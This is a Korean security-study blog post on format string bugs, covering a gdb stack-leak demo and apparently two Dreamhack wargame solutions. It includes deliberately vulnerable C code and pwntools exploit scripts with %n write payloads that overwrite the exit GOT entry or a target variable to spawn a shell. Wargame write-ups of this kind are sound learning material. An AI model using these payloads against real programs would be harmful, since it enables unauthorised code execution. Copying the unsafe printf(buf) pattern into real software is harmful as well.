FSB : Format string bug

shrew·2025년 2월 17일

Format string

Concept

자열을 출력할 때 특정 형식을 지정할 수 있도록 하는 문자열을 말한다. 보통 printf, sprintf, snprintf, fprintf 같은 함수에서 사용된다.('printf("%d", 10);'이런 명령어가 있다고 할 때, %d가 포맷 스트링이다.)

Format string bug

Concept

포맷 스트링 함수 사용 시 발생할 수 있는 버그이다. 공격자가 입력 데이터에 포맷 스트링을 입력하여 메모리를 읽거나 쓰는 식으로 이용할 수 있다.

실습1

Example code

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];
  
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  return 0;
}

위는 간단한 FSB를 일으키는 코드이다. 이제 이 코드에 의도적으로 FSB를 일으킨 후 어떤 값이 나오는 지 살펴보자.

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000001189 <+0>:     endbr64
   0x000000000000118d <+4>:     push   rbp
   0x000000000000118e <+5>:     mov    rbp,rsp
   0x0000000000001191 <+8>:     sub    rsp,0x110
   0x0000000000001198 <+15>:    mov    rax,QWORD PTR fs:0x28
   0x00000000000011a1 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000011a5 <+28>:    xor    eax,eax
   0x00000000000011a7 <+30>:    lea    rax,[rip+0xe56]        # 0x2004
   0x00000000000011ae <+37>:    mov    rdi,rax
   0x00000000000011b1 <+40>:    mov    eax,0x0
   0x00000000000011b6 <+45>:    call   0x1080 <printf@plt>
   0x00000000000011bb <+50>:    lea    rax,[rbp-0x110]
   0x00000000000011c2 <+57>:    mov    rsi,rax
   0x00000000000011c5 <+60>:    lea    rax,[rip+0xe41]        # 0x200d
   0x00000000000011cc <+67>:    mov    rdi,rax
   0x00000000000011cf <+70>:    mov    eax,0x0
   0x00000000000011d4 <+75>:    call   0x1090 <__isoc99_scanf@plt>
   0x00000000000011d9 <+80>:    lea    rax,[rbp-0x110]
   0x00000000000011e0 <+87>:    mov    rdi,rax
   0x00000000000011e3 <+90>:    mov    eax,0x0
   0x00000000000011e8 <+95>:    call   0x1080 <printf@plt>
   0x00000000000011ed <+100>:   mov    eax,0x0
   0x00000000000011f2 <+105>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000000011f6 <+109>:   sub    rdx,QWORD PTR fs:0x28
   0x00000000000011ff <+118>:   je     0x1206 <main+125>
   0x0000000000001201 <+120>:   call   0x1070 <__stack_chk_fail@plt>
   0x0000000000001206 <+125>:   leave
   0x0000000000001207 <+126>:   ret
End of assembler dump.
gef➤  b *main+95
Breakpoint 1 at 0x11e8
gef➤  r
Starting program: /home/pdh/fsb_stack_read
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Format: %p/%p/%p/%p/%p

개인적으로 어떤 값이 나오는 지 바로 확인하기 위해 gdb를 사용해 실행시켰다. printf 함수에 bp를 건 후 '%p/%p/%p/%p/%p'를 입력값에 넣었다.

0xa/(nil)/0x7ffff7f9baa0/(nil)/0x5555555596b0

원래라면 rdi에 들어있는 인자 값(사용자의 입력 값)을 출력하는 게 맞지만 이 경우, 이런 식으로 내가 입력한 형식에 맞춰 어떠한 포인터 값이 출력이 된 것을 볼 수 있다.

───────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x00007ffff7f9baa0  →  0x00000000fbad2288
$rdx   : 0x0
$rsp   : 0x00007fffffffdc70  →  "%p/%p/%p/%p/%p/%p/%p/%p"
$rbp   : 0x00007fffffffdd80  →  0x0000000000000001
$rsi   : 0xa
$rdi   : 0x00007fffffffdc70  →  "%p/%p/%p/%p/%p/%p/%p/%p"
$rip   : 0x00005555555551e8  →  <main+005f> call 0x555555555080 <printf@plt>
$r8    : 0x0
$r9    : 0x00005555555596b0  →  "%p/%p/%p/%p/%p/%p/%p/%p\n"
$r10   : 0xffffffffffffff80
$r11   : 0x0
$r12   : 0x00007fffffffde98  →  0x00007fffffffe11b  →  "/home/pdh/fsb_stack_read"
$r13   : 0x0000555555555189  →  <main+0000> endbr64
$r14   : 0x0000555555557db0  →  0x0000555555555140  →  <__do_global_dtors_aux+0000> endbr64
$r15   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →   jg 0x555555554047
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

위는 bp를 걸었던 printf 함수가 출력되는 부분이다. rdi 레지스터(입력값)을 제외하고 호출규약에 맞춰 인자가 없음에도 rsi, rdx, rcx, r8, r9 레지스터 값이 출력되었다는 걸 알 수 있다.

참고로 'printf(format);'이 아니라 'printf("%s\n", format);' 이런 식으로 사용하면 format을 문자열 취급하기 때문에 FSB가 터지지 않고, 그냥 '%p/%p/%p/%p/%p/%p/%p/%p' 이런 식의 결과가 나온다.

실습2

Example code

[*] '/home/pdh/basic_exploitation_002/basic_exploitation_002'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

위 코드는 위는 Dreamhack - basic_exploitation_002 문제에서 제공하는 'basic_exploitation_002.c' 코드이다. 이 코드를 분석해보자.

  1. PIE가 꺼져있다. 즉, 실행할 때 코드 주소가 바뀌지 않는다.
  2. Partial RELRO로 설정되어 있다. 즉, GOT overwrite가 가능하다.
  3. printf(buf);에서 FSB 취약점이 발생할 수 있다.

먼저, get_shell 함수의 주소를 찾아내서 실행시키면 될 것 같다. main 함수에서 initialize, read, printf, exit 함수를 차례대로 호출하고 있으니 exit 주소를 get_shell 주소로 바꾸면 될 것 같다.

gef➤  info func get_shell
All functions matching regular expression "get_shell":

Non-debugging symbols:
0x08048609  get_shell

get_shell 함수의 오프셋은 위 명령어로 간단히 구할 수 있다.

Exploit code

from pwn import *
p = remote('host3.dreamhack.games', 20540)
e = ELF('./basic_exploitation_002')

exit_got = e.got['exit']

payload = p32(exit_got + 2) + p32(exit_got) + b'%2044c%1$hn%32261c%2$hn'

p.send(payload)

p.interactive()

실습3

Example code

[*] '/home/pdh/Format String Bug/fsb_overwrite'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

위 코드는 위는 Dreamhack - Format String Bug 문제에서 제공하는 'fsb_overwrite.c' 코드이다. 이 코드를 분석해보자.

  1. printf(buf);에서 FSB 취약점이 발생할 수 있다.
  2. 'changeme' 변수의 값을 바꾸면 셸을 딸 수 있다.

셸을 따는 법은 먼저 PIE가 걸려있기 때문에 PIE 베이스 주소를 먼저 구하고, 해당 주소에 changeme 변수의 오프셋을 더해서 changeme 변수의 주소를 구해서 해당 주소 값을 '1337'로 변경하면 된다.

$ readelf -s fsb_overwrite | grep changeme
    40: 000000000000401c     4 OBJECT  GLOBAL DEFAULT   26 changeme

위 명령어로 'changeme'의 오프셋을 구할 수 있다.

Exploit code

from pwn import *
p = remote('host3.dreamhack.games', 21823)
e = ELF("./fsb_overwrite")

p.sendline(b"%15$p")

addr = int(p.recvline()[:-1], 16)
base = addr - e.symbols['main']
changeme = base + e.symbols['changeme']

print(changeme)
payload = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(payload)

p.interactive()

payload 구성
1. b'%1337c : 1337을 인자로 넣기 위해 내부 카운터 값을 1337로 맞춘다.
2. %8' : 지금까지 출력한 문자의 수를 인자로 받은 주소에 쓰게된다. 즉, 8번째 인자에 들어간다.
3. b'$nAAAAAA' : 스택 정렬을 맞추기 위한 패딩 값이다.
4. p64(changeme) : changeme의 주소이다. 이 값은 스택 상 8번째 인자로 들어가 있다.

profile
보안 공부 로그

0개의 댓글